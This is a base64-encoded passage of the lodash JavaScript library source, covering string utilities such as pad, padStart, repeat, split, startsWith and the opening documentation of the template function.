lxuICAgICAqIF8ucGFkKCdhYmMnLCAzKTtcbiAgICAgKiAvLyA9PiAnYWJjJ1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIHBhZChzdHJpbmcsIGxlbmd0aCwgY2hhcnMpIHtcbiAgICAgIHN0cmluZyA9IHRvU3RyaW5nKHN0cmluZyk7XG4gICAgICBsZW5ndGggPSB0b0ludGVnZXIobGVuZ3RoKTtcblxuICAgICAgdmFyIHN0ckxlbmd0aCA9IGxlbmd0aCA/IHN0cmluZ1NpemUoc3RyaW5nKSA6IDA7XG4gICAgICBpZiAoIWxlbmd0aCB8fCBzdHJMZW5ndGggPj0gbGVuZ3RoKSB7XG4gICAgICAgIHJldHVybiBzdHJpbmc7XG4gICAgICB9XG4gICAgICB2YXIgbWlkID0gKGxlbmd0aCAtIHN0ckxlbmd0aCkgLyAyO1xuICAgICAgcmV0dXJuIChcbiAgICAgICAgY3JlYXRlUGFkZGluZyhuYXRpdmVGbG9vcihtaWQpLCBjaGFycykgK1xuICAgICAgICBzdHJpbmcgK1xuICAgICAgICBjcmVhdGVQYWRkaW5nKG5hdGl2ZUNlaWwobWlkKSwgY2hhcnMpXG4gICAgICApO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFBhZHMgYHN0cmluZ2Agb24gdGhlIHJpZ2h0IHNpZGUgaWYgaXQncyBzaG9ydGVyIHRoYW4gYGxlbmd0aGAuIFBhZGRpbmdcbiAgICAgKiBjaGFyYWN0ZXJzIGFyZSB0cnVuY2F0ZWQgaWYgdGhleSBleGNlZWQgYGxlbmd0aGAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gcGFkLlxuICAgICAqIEBwYXJhbSB7bnVtYmVyfSBbbGVuZ3RoPTBdIFRoZSBwYWRkaW5nIGxlbmd0aC5cbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW2NoYXJzPScgJ10gVGhlIHN0cmluZyB1c2VkIGFzIHBhZGRpbmcuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgcGFkZGVkIHN0cmluZy5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5wYWRFbmQoJ2FiYycsIDYpO1xuICAgICAqIC8vID0+ICdhYmMgICAnXG4gICAgICpcbiAgICAgKiBfLnBhZEVuZCgnYWJjJywgNiwgJ18tJyk7XG4gICAgICogLy8gPT4gJ2FiY18tXydcbiAgICAgKlxuICAgICAqIF8ucGFkRW5kKCdhYmMnLCAzKTtcbiAgICAgKiAvLyA9PiAnYWJjJ1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIHBhZEVuZChzdHJpbmcsIGxlbmd0aCwgY2hhcnMpIHtcbiAgICAgIHN0cmluZyA9IHRvU3RyaW5nKHN0cmluZyk7XG4gICAgICBsZW5ndGggPSB0b0ludGVnZXIobGVuZ3RoKTtcblxuICAgICAgdmFyIHN0ckxlbmd0aCA9IGxlbmd0aCA/IHN0cmluZ1NpemUoc3RyaW5nKSA6IDA7XG4gICAgICByZXR1cm4gKGxlbmd0aCAmJiBzdHJMZW5ndGggPCBsZW5ndGgpXG4gICAgICAgID8gKHN0cmluZyArIGNyZWF0ZVBhZGRpbmcobGVuZ3RoIC0gc3RyTGVuZ3RoLCBjaGFycykpXG4gICAgICAgIDogc3RyaW5nO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIFBhZHMgYHN0cmluZ2Agb24gdGhlIGxlZnQgc2lkZSBpZiBpdCdzIHNob3J0ZXIgdGhhbiBgbGVuZ3RoYC4gUGFkZGluZ1xuICAgICAqIGNoYXJhY3RlcnMgYXJlIHRydW5jYXRlZCBpZiB0aGV5IGV4Y2VlZCBgbGVuZ3RoYC5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBTdHJpbmdcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3N0cmluZz0nJ10gVGhlIHN0cmluZyB0byBwYWQuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtsZW5ndGg9MF0gVGhlIHBhZGRpbmcgbGVuZ3RoLlxuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbY2hhcnM9JyAnXSBUaGUgc3RyaW5nIHVzZWQgYXMgcGFkZGluZy5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSBwYWRkZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnBhZFN0YXJ0KCdhYmMnLCA2KTtcbiAgICAgKiAvLyA9PiAnICAgYWJjJ1xuICAgICAqXG4gICAgICogXy5wYWRTdGFydCgnYWJjJywgNiwgJ18tJyk7XG4gICAgICogLy8gPT4gJ18tX2FiYydcbiAgICAgKlxuICAgICAqIF8ucGFkU3RhcnQoJ2FiYycsIDMpO1xuICAgICAqIC8vID0+ICdhYmMnXG4gICAgICovXG4gICAgZnVuY3Rpb24gcGFkU3RhcnQoc3RyaW5nLCBsZW5ndGgsIGNoYXJzKSB7XG4gICAgICBzdHJpbmcgPSB0b1N0cmluZyhzdHJpbmcpO1xuICAgICAgbGVuZ3RoID0gdG9JbnRlZ2VyKGxlbmd0aCk7XG5cbiAgICAgIHZhciBzdHJMZW5ndGggPSBsZW5ndGggPyBzdHJpbmdTaXplKHN0cmluZykgOiAwO1xuICAgICAgcmV0dXJuIChsZW5ndGggJiYgc3RyTGVuZ3RoIDwgbGVuZ3RoKVxuICAgICAgICA/IChjcmVhdGVQYWRkaW5nKGxlbmd0aCAtIHN0ckxlbmd0aCwgY2hhcnMpICsgc3RyaW5nKVxuICAgICAgICA6IHN0cmluZztcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgc3RyaW5nYCB0byBhbiBpbnRlZ2VyIG9mIHRoZSBzcGVjaWZpZWQgcmFkaXguIElmIGByYWRpeGAgaXNcbiAgICAgKiBgdW5kZWZpbmVkYCBvciBgMGAsIGEgYHJhZGl4YCBvZiBgMTBgIGlzIHVzZWQgdW5sZXNzIGB2YWx1ZWAgaXMgYVxuICAgICAqIGhleGFkZWNpbWFsLCBpbiB3aGljaCBjYXNlIGEgYHJhZGl4YCBvZiBgMTZgIGlzIHVzZWQuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogVGhpcyBtZXRob2QgYWxpZ25zIHdpdGggdGhlXG4gICAgICogW0VTNSBpbXBsZW1lbnRhdGlvbl0oaHR0cHM6Ly9lczUuZ2l0aHViLmlvLyN4MTUuMS4yLjIpIG9mIGBwYXJzZUludGAuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgMS4xLjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IHN0cmluZyBUaGUgc3RyaW5nIHRvIGNvbnZlcnQuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtyYWRpeD0xMF0gVGhlIHJhZGl4IHRvIGludGVycHJldCBgdmFsdWVgIGJ5LlxuICAgICAqIEBwYXJhbS0ge09iamVjdH0gW2d1YXJkXSBFbmFibGVzIHVzZSBhcyBhbiBpdGVyYXRlZSBmb3IgbWV0aG9kcyBsaWtlIGBfLm1hcGAuXG4gICAgICogQHJldHVybnMge251bWJlcn0gUmV0dXJucyB0aGUgY29udmVydGVkIGludGVnZXIuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ucGFyc2VJbnQoJzA4Jyk7XG4gICAgICogLy8gPT4gOFxuICAgICAqXG4gICAgICogXy5tYXAoWyc2JywgJzA4JywgJzEwJ10sIF8ucGFyc2VJbnQpO1xuICAgICAqIC8vID0+IFs2LCA4LCAxMF1cbiAgICAgKi9cbiAgICBmdW5jdGlvbiBwYXJzZUludChzdHJpbmcsIHJhZGl4LCBndWFyZCkge1xuICAgICAgaWYgKGd1YXJkIHx8IHJhZGl4ID09IG51bGwpIHtcbiAgICAgICAgcmFkaXggPSAwO1xuICAgICAgfSBlbHNlIGlmIChyYWRpeCkge1xuICAgICAgICByYWRpeCA9ICtyYWRpeDtcbiAgICAgIH1cbiAgICAgIHJldHVybiBuYXRpdmVQYXJzZUludCh0b1N0cmluZyhzdHJpbmcpLnJlcGxhY2UocmVUcmltU3RhcnQsICcnKSwgcmFkaXggfHwgMCk7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmVwZWF0cyB0aGUgZ2l2ZW4gc3RyaW5nIGBuYCB0aW1lcy5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSAzLjAuMFxuICAgICAqIEBjYXRlZ29yeSBTdHJpbmdcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3N0cmluZz0nJ10gVGhlIHN0cmluZyB0byByZXBlYXQuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtuPTFdIFRoZSBudW1iZXIgb2YgdGltZXMgdG8gcmVwZWF0IHRoZSBzdHJpbmcuXG4gICAgICogQHBhcmFtLSB7T2JqZWN0fSBbZ3VhcmRdIEVuYWJsZXMgdXNlIGFzIGFuIGl0ZXJhdGVlIGZvciBtZXRob2RzIGxpa2UgYF8ubWFwYC5cbiAgICAgKiBAcmV0dXJucyB7c3RyaW5nfSBSZXR1cm5zIHRoZSByZXBlYXRlZCBzdHJpbmcuXG4gICAgICogQGV4YW1wbGVcbiAgICAgKlxuICAgICAqIF8ucmVwZWF0KCcqJywgMyk7XG4gICAgICogLy8gPT4gJyoqKidcbiAgICAgKlxuICAgICAqIF8ucmVwZWF0KCdhYmMnLCAyKTtcbiAgICAgKiAvLyA9PiAnYWJjYWJjJ1xuICAgICAqXG4gICAgICogXy5yZXBlYXQoJ2FiYycsIDApO1xuICAgICAqIC8vID0+ICcnXG4gICAgICovXG4gICAgZnVuY3Rpb24gcmVwZWF0KHN0cmluZywgbiwgZ3VhcmQpIHtcbiAgICAgIGlmICgoZ3VhcmQgPyBpc0l0ZXJhdGVlQ2FsbChzdHJpbmcsIG4sIGd1YXJkKSA6IG4gPT09IHVuZGVmaW5lZCkpIHtcbiAgICAgICAgbiA9IDE7XG4gICAgICB9IGVsc2Uge1xuICAgICAgICBuID0gdG9JbnRlZ2VyKG4pO1xuICAgICAgfVxuICAgICAgcmV0dXJuIGJhc2VSZXBlYXQodG9TdHJpbmcoc3RyaW5nKSwgbik7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogUmVwbGFjZXMgbWF0Y2hlcyBmb3IgYHBhdHRlcm5gIGluIGBzdHJpbmdgIHdpdGggYHJlcGxhY2VtZW50YC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBpcyBiYXNlZCBvblxuICAgICAqIFtgU3RyaW5nI3JlcGxhY2VgXShodHRwczovL21kbi5pby9TdHJpbmcvcmVwbGFjZSkuXG4gICAgICpcbiAgICAgKiBAc3RhdGljXG4gICAgICogQG1lbWJlck9mIF9cbiAgICAgKiBAc2luY2UgNC4wLjBcbiAgICAgKiBAY2F0ZWdvcnkgU3RyaW5nXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtzdHJpbmc9JyddIFRoZSBzdHJpbmcgdG8gbW9kaWZ5LlxuICAgICAqIEBwYXJhbSB7UmVnRXhwfHN0cmluZ30gcGF0dGVybiBUaGUgcGF0dGVybiB0byByZXBsYWNlLlxuICAgICAqIEBwYXJhbSB7RnVuY3Rpb258c3RyaW5nfSByZXBsYWNlbWVudCBUaGUgbWF0Y2ggcmVwbGFjZW1lbnQuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgbW9kaWZpZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnJlcGxhY2UoJ0hpIEZyZWQnLCAnRnJlZCcsICdCYXJuZXknKTtcbiAgICAgKiAvLyA9PiAnSGkgQmFybmV5J1xuICAgICAqL1xuICAgIGZ1bmN0aW9uIHJlcGxhY2UoKSB7XG4gICAgICB2YXIgYXJncyA9IGFyZ3VtZW50cyxcbiAgICAgICAgICBzdHJpbmcgPSB0b1N0cmluZyhhcmdzWzBdKTtcblxuICAgICAgcmV0dXJuIGFyZ3MubGVuZ3RoIDwgMyA/IHN0cmluZyA6IHN0cmluZy5yZXBsYWNlKGFyZ3NbMV0sIGFyZ3NbMl0pO1xuICAgIH1cblxuICAgIC8qKlxuICAgICAqIENvbnZlcnRzIGBzdHJpbmdgIHRvXG4gICAgICogW3NuYWtlIGNhc2VdKGh0dHBzOi8vZW4ud2lraXBlZGlhLm9yZy93aWtpL1NuYWtlX2Nhc2UpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IFN0cmluZ1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbc3RyaW5nPScnXSBUaGUgc3RyaW5nIHRvIGNvbnZlcnQuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgc25ha2UgY2FzZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnNuYWtlQ2FzZSgnRm9vIEJhcicpO1xuICAgICAqIC8vID0+ICdmb29fYmFyJ1xuICAgICAqXG4gICAgICogXy5zbmFrZUNhc2UoJ2Zvb0JhcicpO1xuICAgICAqIC8vID0+ICdmb29fYmFyJ1xuICAgICAqXG4gICAgICogXy5zbmFrZUNhc2UoJy0tRk9PLUJBUi0tJyk7XG4gICAgICogLy8gPT4gJ2Zvb19iYXInXG4gICAgICovXG4gICAgdmFyIHNuYWtlQ2FzZSA9IGNyZWF0ZUNvbXBvdW5kZXIoZnVuY3Rpb24ocmVzdWx0LCB3b3JkLCBpbmRleCkge1xuICAgICAgcmV0dXJuIHJlc3VsdCArIChpbmRleCA/ICdfJyA6ICcnKSArIHdvcmQudG9Mb3dlckNhc2UoKTtcbiAgICB9KTtcblxuICAgIC8qKlxuICAgICAqIFNwbGl0cyBgc3RyaW5nYCBieSBgc2VwYXJhdG9yYC5cbiAgICAgKlxuICAgICAqICoqTm90ZToqKiBUaGlzIG1ldGhvZCBpcyBiYXNlZCBvblxuICAgICAqIFtgU3RyaW5nI3NwbGl0YF0oaHR0cHM6Ly9tZG4uaW8vU3RyaW5nL3NwbGl0KS5cbiAgICAgKlxuICAgICAqIEBzdGF0aWNcbiAgICAgKiBAbWVtYmVyT2YgX1xuICAgICAqIEBzaW5jZSA0LjAuMFxuICAgICAqIEBjYXRlZ29yeSBTdHJpbmdcbiAgICAgKiBAcGFyYW0ge3N0cmluZ30gW3N0cmluZz0nJ10gVGhlIHN0cmluZyB0byBzcGxpdC5cbiAgICAgKiBAcGFyYW0ge1JlZ0V4cHxzdHJpbmd9IHNlcGFyYXRvciBUaGUgc2VwYXJhdG9yIHBhdHRlcm4gdG8gc3BsaXQgYnkuXG4gICAgICogQHBhcmFtIHtudW1iZXJ9IFtsaW1pdF0gVGhlIGxlbmd0aCB0byB0cnVuY2F0ZSByZXN1bHRzIHRvLlxuICAgICAqIEByZXR1cm5zIHtBcnJheX0gUmV0dXJucyB0aGUgc3RyaW5nIHNlZ21lbnRzLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnNwbGl0KCdhLWItYycsICctJywgMik7XG4gICAgICogLy8gPT4gWydhJywgJ2InXVxuICAgICAqL1xuICAgIGZ1bmN0aW9uIHNwbGl0KHN0cmluZywgc2VwYXJhdG9yLCBsaW1pdCkge1xuICAgICAgaWYgKGxpbWl0ICYmIHR5cGVvZiBsaW1pdCAhPSAnbnVtYmVyJyAmJiBpc0l0ZXJhdGVlQ2FsbChzdHJpbmcsIHNlcGFyYXRvciwgbGltaXQpKSB7XG4gICAgICAgIHNlcGFyYXRvciA9IGxpbWl0ID0gdW5kZWZpbmVkO1xuICAgICAgfVxuICAgICAgbGltaXQgPSBsaW1pdCA9PT0gdW5kZWZpbmVkID8gTUFYX0FSUkFZX0xFTkdUSCA6IGxpbWl0ID4+PiAwO1xuICAgICAgaWYgKCFsaW1pdCkge1xuICAgICAgICByZXR1cm4gW107XG4gICAgICB9XG4gICAgICBzdHJpbmcgPSB0b1N0cmluZyhzdHJpbmcpO1xuICAgICAgaWYgKHN0cmluZyAmJiAoXG4gICAgICAgICAgICB0eXBlb2Ygc2VwYXJhdG9yID09ICdzdHJpbmcnIHx8XG4gICAgICAgICAgICAoc2VwYXJhdG9yICE9IG51bGwgJiYgIWlzUmVnRXhwKHNlcGFyYXRvcikpXG4gICAgICAgICAgKSkge1xuICAgICAgICBzZXBhcmF0b3IgPSBiYXNlVG9TdHJpbmcoc2VwYXJhdG9yKTtcbiAgICAgICAgaWYgKCFzZXBhcmF0b3IgJiYgaGFzVW5pY29kZShzdHJpbmcpKSB7XG4gICAgICAgICAgcmV0dXJuIGNhc3RTbGljZShzdHJpbmdUb0FycmF5KHN0cmluZyksIDAsIGxpbWl0KTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgcmV0dXJuIHN0cmluZy5zcGxpdChzZXBhcmF0b3IsIGxpbWl0KTtcbiAgICB9XG5cbiAgICAvKipcbiAgICAgKiBDb252ZXJ0cyBgc3RyaW5nYCB0b1xuICAgICAqIFtzdGFydCBjYXNlXShodHRwczovL2VuLndpa2lwZWRpYS5vcmcvd2lraS9MZXR0ZXJfY2FzZSNTdHlsaXN0aWNfb3Jfc3BlY2lhbGlzZWRfdXNhZ2UpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMS4wXG4gICAgICogQGNhdGVnb3J5IFN0cmluZ1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbc3RyaW5nPScnXSBUaGUgc3RyaW5nIHRvIGNvbnZlcnQuXG4gICAgICogQHJldHVybnMge3N0cmluZ30gUmV0dXJucyB0aGUgc3RhcnQgY2FzZWQgc3RyaW5nLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiBfLnN0YXJ0Q2FzZSgnLS1mb28tYmFyLS0nKTtcbiAgICAgKiAvLyA9PiAnRm9vIEJhcidcbiAgICAgKlxuICAgICAqIF8uc3RhcnRDYXNlKCdmb29CYXInKTtcbiAgICAgKiAvLyA9PiAnRm9vIEJhcidcbiAgICAgKlxuICAgICAqIF8uc3RhcnRDYXNlKCdfX0ZPT19CQVJfXycpO1xuICAgICAqIC8vID0+ICdGT08gQkFSJ1xuICAgICAqL1xuICAgIHZhciBzdGFydENhc2UgPSBjcmVhdGVDb21wb3VuZGVyKGZ1bmN0aW9uKHJlc3VsdCwgd29yZCwgaW5kZXgpIHtcbiAgICAgIHJldHVybiByZXN1bHQgKyAoaW5kZXggPyAnICcgOiAnJykgKyB1cHBlckZpcnN0KHdvcmQpO1xuICAgIH0pO1xuXG4gICAgLyoqXG4gICAgICogQ2hlY2tzIGlmIGBzdHJpbmdgIHN0YXJ0cyB3aXRoIHRoZSBnaXZlbiB0YXJnZXQgc3RyaW5nLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQHNpbmNlIDMuMC4wXG4gICAgICogQGNhdGVnb3J5IFN0cmluZ1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbc3RyaW5nPScnXSBUaGUgc3RyaW5nIHRvIGluc3BlY3QuXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFt0YXJnZXRdIFRoZSBzdHJpbmcgdG8gc2VhcmNoIGZvci5cbiAgICAgKiBAcGFyYW0ge251bWJlcn0gW3Bvc2l0aW9uPTBdIFRoZSBwb3NpdGlvbiB0byBzZWFyY2ggZnJvbS5cbiAgICAgKiBAcmV0dXJucyB7Ym9vbGVhbn0gUmV0dXJucyBgdHJ1ZWAgaWYgYHN0cmluZ2Agc3RhcnRzIHdpdGggYHRhcmdldGAsXG4gICAgICogIGVsc2UgYGZhbHNlYC5cbiAgICAgKiBAZXhhbXBsZVxuICAgICAqXG4gICAgICogXy5zdGFydHNXaXRoKCdhYmMnLCAnYScpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKlxuICAgICAqIF8uc3RhcnRzV2l0aCgnYWJjJywgJ2InKTtcbiAgICAgKiAvLyA9PiBmYWxzZVxuICAgICAqXG4gICAgICogXy5zdGFydHNXaXRoKCdhYmMnLCAnYicsIDEpO1xuICAgICAqIC8vID0+IHRydWVcbiAgICAgKi9cbiAgICBmdW5jdGlvbiBzdGFydHNXaXRoKHN0cmluZywgdGFyZ2V0LCBwb3NpdGlvbikge1xuICAgICAgc3RyaW5nID0gdG9TdHJpbmcoc3RyaW5nKTtcbiAgICAgIHBvc2l0aW9uID0gcG9zaXRpb24gPT0gbnVsbFxuICAgICAgICA/IDBcbiAgICAgICAgOiBiYXNlQ2xhbXAodG9JbnRlZ2VyKHBvc2l0aW9uKSwgMCwgc3RyaW5nLmxlbmd0aCk7XG5cbiAgICAgIHRhcmdldCA9IGJhc2VUb1N0cmluZyh0YXJnZXQpO1xuICAgICAgcmV0dXJuIHN0cmluZy5zbGljZShwb3NpdGlvbiwgcG9zaXRpb24gKyB0YXJnZXQubGVuZ3RoKSA9PSB0YXJnZXQ7XG4gICAgfVxuXG4gICAgLyoqXG4gICAgICogQ3JlYXRlcyBhIGNvbXBpbGVkIHRlbXBsYXRlIGZ1bmN0aW9uIHRoYXQgY2FuIGludGVycG9sYXRlIGRhdGEgcHJvcGVydGllc1xuICAgICAqIGluIFwiaW50ZXJwb2xhdGVcIiBkZWxpbWl0ZXJzLCBIVE1MLWVzY2FwZSBpbnRlcnBvbGF0ZWQgZGF0YSBwcm9wZXJ0aWVzIGluXG4gICAgICogXCJlc2NhcGVcIiBkZWxpbWl0ZXJzLCBhbmQgZXhlY3V0ZSBKYXZhU2NyaXB0IGluIFwiZXZhbHVhdGVcIiBkZWxpbWl0ZXJzLiBEYXRhXG4gICAgICogcHJvcGVydGllcyBtYXkgYmUgYWNjZXNzZWQgYXMgZnJlZSB2YXJpYWJsZXMgaW4gdGhlIHRlbXBsYXRlLiBJZiBhIHNldHRpbmdcbiAgICAgKiBvYmplY3QgaXMgZ2l2ZW4sIGl0IHRha2VzIHByZWNlZGVuY2Ugb3ZlciBgXy50ZW1wbGF0ZVNldHRpbmdzYCB2YWx1ZXMuXG4gICAgICpcbiAgICAgKiAqKk5vdGU6KiogSW4gdGhlIGRldmVsb3BtZW50IGJ1aWxkIGBfLnRlbXBsYXRlYCB1dGlsaXplc1xuICAgICAqIFtzb3VyY2VVUkxzXShodHRwOi8vd3d3Lmh0bWw1cm9ja3MuY29tL2VuL3R1dG9yaWFscy9kZXZlbG9wZXJ0b29scy9zb3VyY2VtYXBzLyN0b2Mtc291cmNldXJsKVxuICAgICAqIGZvciBlYXNpZXIgZGVidWdnaW5nLlxuICAgICAqXG4gICAgICogRm9yIG1vcmUgaW5mb3JtYXRpb24gb24gcHJlY29tcGlsaW5nIHRlbXBsYXRlcyBzZWVcbiAgICAgKiBbbG9kYXNoJ3MgY3VzdG9tIGJ1aWxkcyBkb2N1bWVudGF0aW9uXShodHRwczovL2xvZGFzaC5jb20vY3VzdG9tLWJ1aWxkcykuXG4gICAgICpcbiAgICAgKiBGb3IgbW9yZSBpbmZvcm1hdGlvbiBvbiBDaHJvbWUgZXh0ZW5zaW9uIHNhbmRib3hlcyBzZWVcbiAgICAgKiBbQ2hyb21lJ3MgZXh0ZW5zaW9ucyBkb2N1bWVudGF0aW9uXShodHRwczovL2RldmVsb3Blci5jaHJvbWUuY29tL2V4dGVuc2lvbnMvc2FuZGJveGluZ0V2YWwpLlxuICAgICAqXG4gICAgICogQHN0YXRpY1xuICAgICAqIEBzaW5jZSAwLjEuMFxuICAgICAqIEBtZW1iZXJPZiBfXG4gICAgICogQGNhdGVnb3J5IFN0cmluZ1xuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbc3RyaW5nPScnXSBUaGUgdGVtcGxhdGUgc3RyaW5nLlxuICAgICAqIEBwYXJhbSB7T2JqZWN0fSBbb3B0aW9ucz17fV0gVGhlIG9wdGlvbnMgb2JqZWN0LlxuICAgICAqIEBwYXJhbSB7UmVnRXhwfSBbb3B0aW9ucy5lc2NhcGU9Xy50ZW1wbGF0ZVNldHRpbmdzLmVzY2FwZV1cbiAgICAgKiAgVGhlIEhUTUwgXCJlc2NhcGVcIiBkZWxpbWl0ZXIuXG4gICAgICogQHBhcmFtIHtSZWdFeHB9IFtvcHRpb25zLmV2YWx1YXRlPV8udGVtcGxhdGVTZXR0aW5ncy5ldmFsdWF0ZV1cbiAgICAgKiAgVGhlIFwiZXZhbHVhdGVcIiBkZWxpbWl0ZXIuXG4gICAgICogQHBhcmFtIHtPYmplY3R9IFtvcHRpb25zLmltcG9ydHM9Xy50ZW1wbGF0ZVNldHRpbmdzLmltcG9ydHNdXG4gICAgICogIEFuIG9iamVjdCB0byBpbXBvcnQgaW50byB0aGUgdGVtcGxhdGUgYXMgZnJlZSB2YXJpYWJsZXMuXG4gICAgICogQHBhcmFtIHtSZWdFeHB9IFtvcHRpb25zLmludGVycG9sYXRlPV8udGVtcGxhdGVTZXR0aW5ncy5pbnRlcnBvbGF0ZV1cbiAgICAgKiAgVGhlIFwiaW50ZXJwb2xhdGVcIiBkZWxpbWl0ZXIuXG4gICAgICogQHBhcmFtIHtzdHJpbmd9IFtvcHRpb25zLnNvdXJjZVVSTD0nbG9kYXNoLnRlbXBsYXRlU291cmNlc1tuXSddXG4gICAgICogIFRoZSBzb3VyY2VVUkwgb2YgdGhlIGNvbXBpbGVkIHRlbXBsYXRlLlxuICAgICAqIEBwYXJhbSB7c3RyaW5nfSBbb3B0aW9ucy52YXJpYWJsZT0nb2JqJ11cbiAgICAgKiAgVGhlIGRhdGEgb2JqZWN0IHZhcmlhYmxlIG5hbWUuXG4gICAgICogQHBhcmFtLSB7T2JqZWN0fSBbZ3VhcmRdIEVuYWJsZXMgdXNlIGFzIGFuIGl0ZXJhdGVlIGZvciBtZXRob2RzIGxpa2UgYF8ubWFwYC5cbiAgICAgKiBAcmV0dXJucyB7RnVuY3Rpb259IFJldHVybnMgdGhlIGNvbXBpbGVkIHRlbXBsYXRlIGZ1bmN0aW9uLlxuICAgICAqIEBleGFtcGxlXG4gICAgICpcbiAgICAgKiAvLyBVc2UgdGhlIFwiaW50ZXJwb2xhdGVcIiBkZWxpbWl0ZXIgdG8gY3JlYXRlIGEgY29tcGlsZWQgdGVtcGxhdGUuXG4gICAgICogdmFyIGNvbXBpbGVkID0gXy50ZW1wbGF0ZSgnaGVsbG8gPCU9IHVzZXIgJT4hJyk7XG4gICAgICogY29tcGlsZWQoeyAndXNlcic6ICdmcmVkJyB9KTtcbiAgICAgKiAvLyA9PiAnaGVsbG8gZnJlZCEnXG4gICAgICpcbiAgICAgKiAvLyBVc2UgdGhlIEhUTUwgXCJlc2NhcGVcIiBkZWxpbWl0ZXIgdG8gZXNjYXBlIGRhdGEgcHJvcGVydHkgdmFsdWVzLlxuICAgICAqIHZhciBjb21waWxlZCA9IF8udGVtcGxhdGUoJzxiPjwlLSB2YWx1ZSAlPjwvYj4nKTtcbiAgICAgKiBjb21waWxlZCh7ICd2YWx1ZSc6ICc8c2NyaXB0PicgfSk7XG4gICAgICogLy8gPT4gJzxiPiZsdDtzY3JpcHQmZ3Q7PC9iPidcbiAgICAgKlxuICAgICAqIC8vIFVzZSB0aGUgXCJldmFsdWF0ZVwiIGRlbGltaXRlciB0byBleGVjdXRlIEphdmFTY3JpcHQgYW5kIGdlbmVyYXRlIEhUTUwuXG4gICAgICogdmFyIGNvbXBpbGVkID0gXy50ZW1wbGF0ZSgnPCUgXy5mb3JFYWNoKHVzZXJzLCBmdW5jdGlvbih1c2VyKSB7ICU+PGxpPjwlLSB1c2VyICU+PC9saT48JSB9KTsgJT4nKTtcbiAgICAgKiBjb21waWxlZCh7ICd1c2Vycyc6IFsnZnJlZCcsICdiYXJuZXknXSB9KTtcbiAgICAgKiAvLyA9PiAnPGxpPmZyZWQ8L2xpPjxsaT5iYXJuZXk8L2xpPidcbiAgICAgKlxuICAgICAqIC8vIFVzZSB0aGUgaW50ZXJuYWwgYHByaW50YCBmdW5jdGlvbiBpbiBcImV2YWx1YXRlXCIgZGVsaW1pdGVycy5cbiAgICAgKiB2YXIgY29tcGlsZWQgPSBfLnRlbXBsYXRlKCc8JSBwcmludChcImhlbGxvIFwiICsgdXNlcik7ICU+IScpO1xuICAgICAqIGNvbXBpbGVkKHsgJ3VzZXInOiAnYmFybmV5JyB9KTtcbiAgICAgKiAvLyA9PiAnaGVsbG8gYmFybmV5ISdcbiAgICAgKlxuICAgICAqIC8vIFVzZSB0aGUgRVMgdGVtcGxhdGUgbGl0ZXJhbCBkZWxpbWl0ZXIgYXMgYW4gXCJpbnRlcnBvbGF0ZVwiIGRlbGltaXRlci5cbiAgICAgKiAvLyBEaXNhYmxlIHN1cHBvcnQgYnkgcmVwbGFjaW5nIHRoZSBcImludGVycG9sYXRlXC